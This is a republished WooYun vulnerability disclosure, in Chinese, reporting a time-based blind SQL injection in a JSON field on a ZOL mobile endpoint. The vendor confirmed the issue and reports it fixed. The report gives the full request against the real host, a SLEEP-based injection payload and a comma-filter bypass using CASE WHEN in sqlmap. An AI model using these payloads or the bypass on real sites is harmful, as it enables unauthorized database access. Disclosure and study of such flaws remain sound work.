中关村某站一处SQL注入(绕过逗号过滤/含965个表)

admin 2017年5月5日05:39:08评论701 views字数 214阅读0分42秒阅读模式
摘要

2016-03-12: 细节已通知厂商并且等待厂商处理中
2016-03-16: 厂商已经确认,细节仅向厂商公开
2016-03-26: 细节向核心白帽子及相关领域专家公开
2016-04-05: 细节向普通白帽子公开
2016-04-15: 细节向实习白帽子公开
2016-04-30: 细节向公众公开

漏洞概要 关注数(9) 关注此漏洞

缺陷编号: WooYun-2016-183604

漏洞标题: 中关村某站一处SQL注入(绕过逗号过滤/含965个表)

相关厂商: 中关村在线

漏洞作者: 路人甲

提交时间: 2016-03-12 09:01

公开时间: 2016-04-30 19:47

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: SQL注入

3人收藏


漏洞详情

披露状态:

2016-03-12: 细节已通知厂商并且等待厂商处理中
2016-03-16: 厂商已经确认,细节仅向厂商公开
2016-03-26: 细节向核心白帽子及相关领域专家公开
2016-04-05: 细节向普通白帽子公开
2016-04-15: 细节向实习白帽子公开
2016-04-30: 细节向公众公开

简要描述:

详细说明:

检测发下以下地方存在SQL注入:(POST中的subClassList/unSubClassList,时间盲注)

code 区域
POST http://direct.wap.zol.com.cn/ipj/classRecord/?imei=A0000000000000&v=1.0 HTTP/1.1
Content-Type: text/plain
Content-Length: 220
X-Requested-With: XMLHttpRequest
Referer: http://direct.wap.zol.com.cn/ipj/classRecord/?v=1.0&imei=A0000000000000
Cookie: imei=A0000000000000
Host: direct.wap.zol.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

{"ssid":"dfd542b1b1c7d1c","subClassList":"'","unSubClassList":""}

Payload:

code 区域
{"ssid":"dfd542b1b1c7d1c","subClassList":"'' AND (SELECT * FROM (SELECT(SLEEP(1)))yWWF) AND 'Owkf'='Owkf'","unSubClassList":""}

由于原程序在该输入点上接受逗号输入,如12,23;故注入语句就不能含有逗号了,不然就出错了~因此改了下SQLMap的注入语句,使用case when替代if即可。

漏洞证明:

1、跑出当前数据库用户

中关村某站一处SQL注入(绕过逗号过滤/含965个表)

2、跑出当前数据库

中关村某站一处SQL注入(绕过逗号过滤/含965个表)

3、跑出当前库数据表,共965个,具体就不深入了。

中关村某站一处SQL注入(绕过逗号过滤/含965个表)

修复方案:

请多指教~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2016-03-16 19:47

厂商回复:

已修复,谢谢关注

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-03-12 13:31 | hkcs ( 实习白帽子 | Rank:56 漏洞数:9 | 只是路过)

    1

    弄个主站就是4千万用户,真的

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin